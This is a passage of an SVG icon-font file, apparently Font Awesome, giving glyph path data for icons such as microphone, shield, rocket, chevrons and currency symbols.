d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3q-1 -3 -2.5 -6.5t-3.5 -8t-3 -6.5q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109z
M1534 846v-206h-514l-3 27q-4 28 -4 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q83 65 188 65q110 0 178 -59.5t68 -158.5q0 -56 -24.5 -103t-62 -76.5t-81.5 -58.5t-82 -50.5
t-65.5 -51.5t-30.5 -63h232v80h126z" />
    <glyph glyph-name="subscript" unicode="&#xf12c;" 
d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3q-1 -3 -2.5 -6.5t-3.5 -8t-3 -6.5q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109z
M1536 -50v-206h-514l-4 27q-3 45 -3 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q80 65 188 65q110 0 178 -59.5t68 -158.5q0 -66 -34.5 -118.5t-84 -86t-99.5 -62.5t-87 -63t-41 -73
h232v80h126z" />
    <glyph glyph-name="_283" unicode="&#xf12d;" horiz-adv-x="1920" 
d="M896 128l336 384h-768l-336 -384h768zM1909 1205q15 -34 9.5 -71.5t-30.5 -65.5l-896 -1024q-38 -44 -96 -44h-768q-38 0 -69.5 20.5t-47.5 54.5q-15 34 -9.5 71.5t30.5 65.5l896 1024q38 44 96 44h768q38 0 69.5 -20.5t47.5 -54.5z" />
    <glyph glyph-name="puzzle_piece" unicode="&#xf12e;" horiz-adv-x="1664" 
d="M1664 438q0 -81 -44.5 -135t-123.5 -54q-41 0 -77.5 17.5t-59 38t-56.5 38t-71 17.5q-110 0 -110 -124q0 -39 16 -115t15 -115v-5q-22 0 -33 -1q-34 -3 -97.5 -11.5t-115.5 -13.5t-98 -5q-61 0 -103 26.5t-42 83.5q0 37 17.5 71t38 56.5t38 59t17.5 77.5q0 79 -54 123.5
t-135 44.5q-84 0 -143 -45.5t-59 -127.5q0 -43 15 -83t33.5 -64.5t33.5 -53t15 -50.5q0 -45 -46 -89q-37 -35 -117 -35q-95 0 -245 24q-9 2 -27.5 4t-27.5 4l-13 2q-1 0 -3 1q-2 0 -2 1v1024q2 -1 17.5 -3.5t34 -5t21.5 -3.5q150 -24 245 -24q80 0 117 35q46 44 46 89
q0 22 -15 50.5t-33.5 53t-33.5 64.5t-15 83q0 82 59 127.5t144 45.5q80 0 134 -44.5t54 -123.5q0 -41 -17.5 -77.5t-38 -59t-38 -56.5t-17.5 -71q0 -57 42 -83.5t103 -26.5q64 0 180 15t163 17v-2q-1 -2 -3.5 -17.5t-5 -34t-3.5 -21.5q-24 -150 -24 -245q0 -80 35 -117
q44 -46 89 -46q22 0 50.5 15t53 33.5t64.5 33.5t83 15q82 0 127.5 -59t45.5 -143z" />
    <glyph glyph-name="microphone" unicode="&#xf130;" horiz-adv-x="1152" 
d="M1152 832v-128q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-217 24 -364.5 187.5t-147.5 384.5v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -185 131.5 -316.5t316.5 -131.5
t316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45zM896 1216v-512q0 -132 -94 -226t-226 -94t-226 94t-94 226v512q0 132 94 226t226 94t226 -94t94 -226z" />
    <glyph glyph-name="microphone_off" unicode="&#xf131;" horiz-adv-x="1408" 
d="M271 591l-101 -101q-42 103 -42 214v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -53 15 -113zM1385 1193l-361 -361v-128q0 -132 -94 -226t-226 -94q-55 0 -109 19l-96 -96q97 -51 205 -51q185 0 316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45v-128
q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-125 13 -235 81l-254 -254q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l1234 1234q10 10 23 10t23 -10l82 -82q10 -10 10 -23
t-10 -23zM1005 1325l-621 -621v512q0 132 94 226t226 94q102 0 184.5 -59t116.5 -152z" />
    <glyph glyph-name="shield" unicode="&#xf132;" horiz-adv-x="1280" 
d="M1088 576v640h-448v-1137q119 63 213 137q235 184 235 360zM1280 1344v-768q0 -86 -33.5 -170.5t-83 -150t-118 -127.5t-126.5 -103t-121 -77.5t-89.5 -49.5t-42.5 -20q-12 -6 -26 -6t-26 6q-16 7 -42.5 20t-89.5 49.5t-121 77.5t-126.5 103t-118 127.5t-83 150
t-33.5 170.5v768q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="calendar_empty" unicode="&#xf133;" horiz-adv-x="1664" 
d="M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280
q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="fire_extinguisher" unicode="&#xf134;" horiz-adv-x="1408" 
d="M512 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 1376v-320q0 -16 -12 -25q-8 -7 -20 -7q-4 0 -7 1l-448 96q-11 2 -18 11t-7 20h-256v-102q111 -23 183.5 -111t72.5 -203v-800q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v800
q0 106 62.5 190.5t161.5 114.5v111h-32q-59 0 -115 -23.5t-91.5 -53t-66 -66.5t-40.5 -53.5t-14 -24.5q-17 -35 -57 -35q-16 0 -29 7q-23 12 -31.5 37t3.5 49q5 10 14.5 26t37.5 53.5t60.5 70t85 67t108.5 52.5q-25 42 -25 86q0 66 47 113t113 47t113 -47t47 -113
q0 -33 -14 -64h302q0 11 7 20t18 11l448 96q3 1 7 1q12 0 20 -7q12 -9 12 -25z" />
    <glyph glyph-name="rocket" unicode="&#xf135;" horiz-adv-x="1664" 
d="M1440 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1664 1376q0 -249 -75.5 -430.5t-253.5 -360.5q-81 -80 -195 -176l-20 -379q-2 -16 -16 -26l-384 -224q-7 -4 -16 -4q-12 0 -23 9l-64 64q-13 14 -8 32l85 276l-281 281l-276 -85q-3 -1 -9 -1
q-14 0 -23 9l-64 64q-17 19 -5 39l224 384q10 14 26 16l379 20q96 114 176 195q188 187 358 258t431 71q14 0 24 -9.5t10 -22.5z" />
    <glyph glyph-name="maxcdn" unicode="&#xf136;" horiz-adv-x="1792" 
d="M1745 763l-164 -763h-334l178 832q13 56 -15 88q-27 33 -83 33h-169l-204 -953h-334l204 953h-286l-204 -953h-334l204 953l-153 327h1276q101 0 189.5 -40.5t147.5 -113.5q60 -73 81 -168.5t0 -194.5z" />
    <glyph glyph-name="chevron_sign_left" unicode="&#xf137;" 
d="M909 141l102 102q19 19 19 45t-19 45l-307 307l307 307q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_right" unicode="&#xf138;" 
d="M717 141l454 454q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l307 -307l-307 -307q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_up" unicode="&#xf139;" 
d="M1165 397l102 102q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l307 307l307 -307q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_down" unicode="&#xf13a;" 
d="M813 237l454 454q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-307 -307l-307 307q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="html5" unicode="&#xf13b;" horiz-adv-x="1408" 
d="M1130 939l16 175h-884l47 -534h612l-22 -228l-197 -53l-196 53l-13 140h-175l22 -278l362 -100h4v1l359 99l50 544h-644l-15 181h674zM0 1408h1408l-128 -1438l-578 -162l-574 162z" />
    <glyph glyph-name="css3" unicode="&#xf13c;" horiz-adv-x="1792" 
d="M275 1408h1505l-266 -1333l-804 -267l-698 267l71 356h297l-29 -147l422 -161l486 161l68 339h-1208l58 297h1209l38 191h-1208z" />
    <glyph glyph-name="anchor" unicode="&#xf13d;" horiz-adv-x="1792" 
d="M960 1280q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1792 352v-352q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-93 93q-119 -143 -318.5 -226.5t-429.5 -83.5t-429.5 83.5t-318.5 226.5l-93 -93q-9 -9 -23 -9q-4 0 -12 2q-20 8 -20 30v352
q0 14 9 23t23 9h352q22 0 30 -20q8 -19 -7 -35l-100 -100q67 -91 189.5 -153.5t271.5 -82.5v647h-192q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h192v163q-58 34 -93 92.5t-35 128.5q0 106 75 181t181 75t181 -75t75 -181q0 -70 -35 -128.5t-93 -92.5v-163h192q26 0 45 -19
t19 -45v-128q0 -26 -19 -45t-45 -19h-192v-647q149 20 271.5 82.5t189.5 153.5l-100 100q-15 16 -7 35q8 20 30 20h352q14 0 23 -9t9 -23z" />
    <glyph glyph-name="unlock_alt" unicode="&#xf13e;" horiz-adv-x="1152" 
d="M1056 768q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v320q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45q0 106 -75 181t-181 75t-181 -75t-75 -181
v-320h736z" />
    <glyph glyph-name="bullseye" unicode="&#xf140;" 
d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM1152 640q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1280 640q0 -212 -150 -362t-362 -150t-362 150
t-150 362t150 362t362 150t362 -150t150 -362zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ellipsis_horizontal" unicode="&#xf141;" horiz-adv-x="1408" 
d="M384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM896 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM1408 800v-192q0 -40 -28 -68t-68 -28h-192
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
    <glyph glyph-name="ellipsis_vertical" unicode="&#xf142;" horiz-adv-x="384" 
d="M384 288v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 1312v-192q0 -40 -28 -68t-68 -28h-192
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
    <glyph glyph-name="_303" unicode="&#xf143;" 
d="M512 256q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM863 162q-13 233 -176.5 396.5t-396.5 176.5q-14 1 -24 -9t-10 -23v-128q0 -13 8.5 -22t21.5 -10q154 -11 264 -121t121 -264q1 -13 10 -21.5t22 -8.5h128
q13 0 23 10t9 24zM1247 161q-5 154 -56 297.5t-139.5 260t-205 205t-260 139.5t-297.5 56q-14 1 -23 -9q-10 -10 -10 -23v-128q0 -13 9 -22t22 -10q204 -7 378 -111.5t278.5 -278.5t111.5 -378q1 -13 10 -22t22 -9h128q13 0 23 10q11 9 9 23zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="play_sign" unicode="&#xf144;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1152 585q32 18 32 55t-32 55l-544 320q-31 19 -64 1q-32 -19 -32 -56v-640q0 -37 32 -56
q16 -8 32 -8q17 0 32 9z" />
    <glyph glyph-name="ticket" unicode="&#xf145;" horiz-adv-x="1792" 
d="M1024 1084l316 -316l-572 -572l-316 316zM813 105l618 618q19 19 19 45t-19 45l-362 362q-18 18 -45 18t-45 -18l-618 -618q-19 -19 -19 -45t19 -45l362 -362q18 -18 45 -18t45 18zM1702 742l-907 -908q-37 -37 -90.5 -37t-90.5 37l-126 126q56 56 56 136t-56 136
t-136 56t-136 -56l-125 126q-37 37 -37 90.5t37 90.5l907 906q37 37 90.5 37t90.5 -37l125 -125q-56 -56 -56 -136t56 -136t136 -56t136 56l126 -125q37 -37 37 -90.5t-37 -90.5z" />
    <glyph glyph-name="minus_sign_alt" unicode="&#xf146;" 
d="M1280 576v128q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h896q26 0 45 19t19 45zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="check_minus" unicode="&#xf147;" horiz-adv-x="1408" 
d="M1152 736v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h832q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5
t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="level_up" unicode="&#xf148;" horiz-adv-x="1024" 
d="M1018 933q-18 -37 -58 -37h-192v-864q0 -14 -9 -23t-23 -9h-704q-21 0 -29 18q-8 20 4 35l160 192q9 11 25 11h320v640h-192q-40 0 -58 37q-17 37 9 68l320 384q18 22 49 22t49 -22l320 -384q27 -32 9 -68z" />
    <glyph glyph-name="level_down" unicode="&#xf149;" horiz-adv-x="1024" 
d="M32 1280h704q13 0 22.5 -9.5t9.5 -23.5v-863h192q40 0 58 -37t-9 -69l-320 -384q-18 -22 -49 -22t-49 22l-320 384q-26 31 -9 69q18 37 58 37h192v640h-320q-14 0 -25 11l-160 192q-13 14 -4 34q9 19 29 19z" />
    <glyph glyph-name="check_sign" unicode="&#xf14a;" 
d="M685 237l614 614q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-467 -467l-211 211q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l358 -358q19 -19 45 -19t45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5
t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="edit_sign" unicode="&#xf14b;" 
d="M404 428l152 -152l-52 -52h-56v96h-96v56zM818 818q14 -13 -3 -30l-291 -291q-17 -17 -30 -3q-14 13 3 30l291 291q17 17 30 3zM544 128l544 544l-288 288l-544 -544v-288h288zM1152 736l92 92q28 28 28 68t-28 68l-152 152q-28 28 -68 28t-68 -28l-92 -92zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_312" unicode="&#xf14c;" 
d="M1280 608v480q0 26 -19 45t-45 19h-480q-42 0 -59 -39q-17 -41 14 -70l144 -144l-534 -534q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l534 534l144 -144q18 -19 45 -19q12 0 25 5q39 17 39 59zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960
q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="share_sign" unicode="&#xf14d;" 
d="M1005 435l352 352q19 19 19 45t-19 45l-352 352q-30 31 -69 14q-40 -17 -40 -59v-160q-119 0 -216 -19.5t-162.5 -51t-114 -79t-76.5 -95.5t-44.5 -109t-21.5 -111.5t-5 -110.5q0 -181 167 -404q11 -12 25 -12q7 0 13 3q22 9 19 33q-44 354 62 473q46 52 130 75.5
t224 23.5v-160q0 -42 40 -59q12 -5 24 -5q26 0 45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="compass" unicode="&#xf14e;" 
d="M640 448l256 128l-256 128v-256zM1024 1039v-542l-512 -256v542zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="collapse" unicode="&#xf150;" 
d="M1145 861q18 -35 -5 -66l-320 -448q-19 -27 -52 -27t-52 27l-320 448q-23 31 -5 66q17 35 57 35h640q40 0 57 -35zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="collapse_top" unicode="&#xf151;" 
d="M1145 419q-17 -35 -57 -35h-640q-40 0 -57 35q-18 35 5 66l320 448q19 27 52 27t52 -27l320 -448q23 -31 5 -66zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_317" unicode="&#xf152;" 
d="M1088 640q0 -33 -27 -52l-448 -320q-31 -23 -66 -5q-35 17 -35 57v640q0 40 35 57q35 18 66 -5l448 -320q27 -19 27 -52zM1280 160v960q0 14 -9 23t-23 9h-960q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h960q14 0 23 9t9 23zM1536 1120v-960q0 -119 -84.5 -203.5
t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="eur" unicode="&#xf153;" horiz-adv-x="1024" 
d="M976 229l35 -159q3 -12 -3 -22.5t-17 -14.5l-5 -1q-4 -2 -10.5 -3.5t-16 -4.5t-21.5 -5.5t-25.5 -5t-30 -5t-33.5 -4.5t-36.5 -3t-38.5 -1q-234 0 -409 130.5t-238 351.5h-95q-13 0 -22.5 9.5t-9.5 22.5v113q0 13 9.5 22.5t22.5 9.5h66q-2 57 1 105h-67q-14 0 -23 9
t-9 23v114q0 14 9 23t23 9h98q67 210 243.5 338t400.5 128q102 0 194 -23q11 -3 20 -15q6 -11 3 -24l-43 -159q-3 -13 -14 -19.5t-24 -2.5l-4 1q-4 1 -11.5 2.5l-17.5 3.5t-22.5 3.5t-26 3t-29 2.5t-29.5 1q-126 0 -226 -64t-150 -176h468q16 0 25 -12q10 -12 7 -26
l-24 -114q-5 -26 -32 -26h-488q-3 -37 0 -105h459q15 0 25 -12q9 -12 6 -27l-24 -112q-2 -11 -11 -18.5t-20 -7.5h-387q48 -117 149.5 -185.5t228.5 -68.5q18 0 36 1.5t33.5 3.5t29.5 4.5t24.5 5t18.5 4.5l12 3l5 2q13 5 26 -2q12 -7 15 -21z" />
    <glyph glyph-name="gbp" unicode="&#xf154;" horiz-adv-x="1024" 
d="M1020 399v-367q0 -14 -9 -23t-23 -9h-956q-14 0 -23 9t-9 23v150q0 13 9.5 22.5t22.5 9.5h97v383h-95q-14 0 -23 9.5t-9 22.5v131q0 14 9 23t23 9h95v223q0 171 123.5 282t314.5 111q185 0 335 -125q9 -8 10 -20.5t-7 -22.5l-103 -127q-9 -11 -22 -12q-13 -2 -23 7
q-5 5 -26 19t-69 32t-93 18q-85 0 -137 -47t-52 -123v-215h305q13 0 22.5 -9t9.5 -23v-131q0 -13 -9.5 -22.5t-22.5 -9.5h-305v-379h414v181q0 13 9 22.5t23 9.5h162q14 0 23 -9.5t9 -22.5z" />
    <glyph glyph-name="usd" unicode="&#xf155;" horiz-adv-x="1024" 
d="M978 351q0 -153 -99.5 -263.5t-258.5 -136.5v-175q0 -14 -9 -23t-23 -9h-135q-13 0 -22.5 9.5t-9.5 22.5v175q-66 9 -127.5 31t-101.5 44.5t-74 48t-46.5 37.5t-17.5 18q-17 21 -2 41l103 135q7 10 23 12q15 2 24 -9l2 -2q113 -99 243 -125q37 -8 74 -8q81 0 142.5 43
t61.5 122q0 28 -15 53t-33.5 42t-58.5 37.5t-66 32t-80 32.5q-39 16 -61.5 25t-61.5 26.5t-62.5 31t-56.5 35.5t-53.5 42.5t-43.5 49t-35.5 58t-21 66.5t-8.5 78q0 138 98 242t255 134v180q0 13 9.5 22.5t22.5 9.5h135q14 0 23 -9t9 -23v-176q57 -6 110.5 -23t87 -33.5
t63.5 -37.5t39 -29t15 -14q17 -18 5 -38l-81 -146q-8 -15 -23 -16q-14 -3 -27 7q-3 3 -14.5 12t-39 26.5t-58.5 32t-74.5 26t-85.5 11.5q-95 0 -155 -43t-60 -111q0 -26 8.5 -48t29.5 -41.5t39.5 -33t56 -31t60.5 -27t70 -27.5q53 -20 81 -31.5t76 -35t75.5 -42.5t62 -50
t53 -63.5t31.5 -76.5t13 -94z" />
    <glyph glyph-name="inr" unicode="&#xf156;" horiz-adv-x="898" 
d="M898 1066v-102q0 -14 -9 -23t-23 -9h-168q-23 -144 -129 -234t-276 -110q167 -178 459 -536q14 -16 4 -34q-8 -18 -29 -18h-195q-16 0 -25 12q-306 367 -498 571q-9 9 -9 22v127q0 13 9.5 22.5t22.5 9.5h112q132 0 212.5 43t102.5 125h-427q-14 0 -23 9t-9 23v102
q0 14 9 23t23 9h413q-57 113 -268 113h-145q-13 0 -22.5 9.5t-9.5 22.5v133q0 14 9 23t23 9h832q14 0 23 -9t9 -23v-102q0 -14 -9 -23t-23 -9h-233q47 -61 64 -144h171q14 0 23 -9t9 -23z" />
    <glyph glyph-name="jpy" unicode="&#xf157;" horiz-adv-x="1027" 
d="M603 0h-172q-13 0 -22.5 9t-9.5 23v330h-288q-13 0 -22.5 9t-9.5 23v103q0 13 9.5 22.5t22.5 9.5h288v85h-288q-13 0 -22.5 9t-9.5 23v104q0 13 9.5 22.5t22.5 9.5h214l-321 578q-8 16 0 32q10 16 28 16h194q19 0 29 -18l215 -425q19 -38 56 -125q10 24 30.5 68t27.5 61
l191 420q8 19 29 19h191q17 0 27 -16q9 -14 1 -31l-313 -579h215q13 0 22.5 -9.5t9.5 -22.5v-104q0 -14 -9.5 -23t-22.5 -9h-290v-85h290q13 0 22.5 -9.5t9.5 -22.5v-103q0 -14 -9.5 -23t-22.5 -9h-290v-330q0 -13 -9.5 -22.5t-22.5 -9.5z" />
    <glyph glyph-name="rub" unicode="&#xf158;" horiz-adv-x="1280" 
d="M1043 971q0 100 -65 162t-171 62h-320v-448h320q106 0 171 62t65 162zM1280 971q0 -193 -126.5 -315t-326.5 -122h-340v-118h505q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-505v-192q0 -14 -9.5 -23t-22.5 -9h-167q-14 0 -23 9t-9 23v192h-224q-14 0 -23 9t-9 23v128
q0 14 9 23t23 9h224v118h-224q-14 0 -23 9t-9 23v149q0 13 9 22.5t23 9.5h224v629q0 14 9 23t23 9h539q200 0 326.5 -122t126.5 -315z" />
    <glyph glyph-name="krw" unicode="&#xf159;" horiz-adv-x="1792" 
d="M514 341l81 299h-159l75 -300q1 -1 1 -3t1 -3q0 1 0.5 3.5t0.5 3.5zM630 768l35 128h-292l32 -128h225zM822 768h139l-35 128h-70zM1271 340l78 300h-162l81 -299q0 -1 0.5 -3.5t1.5 -3.5q0 1 0.5 3t0.5 3zM1382 768l33 128h-297l34 -128h230zM1792 736v-64q0 -14 -9 -23
t-23 -9h-213l-164 -616q-7 -24 -31 -24h-159q-24 0 -31 24l-166 616h-209l-167 -616q-7 -24 -31 -24h-159q-11 0 -19.5 7t-10.5 17l-160 616h-208q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h175l-33 128h-142q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h109l-89 344q-5 15 5 28
q10 12 26 12h137q26 0 31 -24l90 -360h359l97 360q7 24 31 24h126q24 0 31 -24l98 -360h365l93 360q5 24 31 24h137q16 0 26 -12q10 -13 5 -28l-91 -344h111q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-145l-34 -128h179q14 0 23 -9t9 -23z" />
    <glyph glyph-name="btc" unicode="&#xf15a;" horiz-adv-x="1280" 
d="M1167 896q18 -182 -131 -258q117 -28 175 -103t45 -214q-7 -71 -32.5 -125t-64.5 -89t-97 -58.5t-121.5 -34.5t-145.5 -15v-255h-154v251q-80 0 -122 1v-252h-154v255q-18 0 -54 0.5t-55 0.5h-200l31 183h111q50 0 58 51v402h16q-6 1 -16 1v287q-13 68 -89 68h-111v164
l212 -1q64 0 97 1v252h154v-247q82 2 122 2v245h154v-252q79 -7 140 -22.5t113 -45t82.5 -78t36.5 -114.5zM952 351q0 36 -15 64t-37 46t-57.5 30.5t-65.5 18.5t-74 9t-69 3t-64.5 -1t-47.5 -1v-338q8 0 37 -0.5t48 -0.5t53 1.5t58.5 4t57 8.5t55.5 14t47.5 21t39.5 30
t24.5 40t9.5 51zM881 827q0 33 -12.5 58.5t-30.5 42t-48 28t-55 16.5t-61.5 8t-58 2.5t-54 -1t-39.5 -0.5v-307q5 0 34.5 -0.5t46.5 0t50 2t55 5.5t51.5 11t48.5 18.5t37 27t27 38.5t9 51z" />
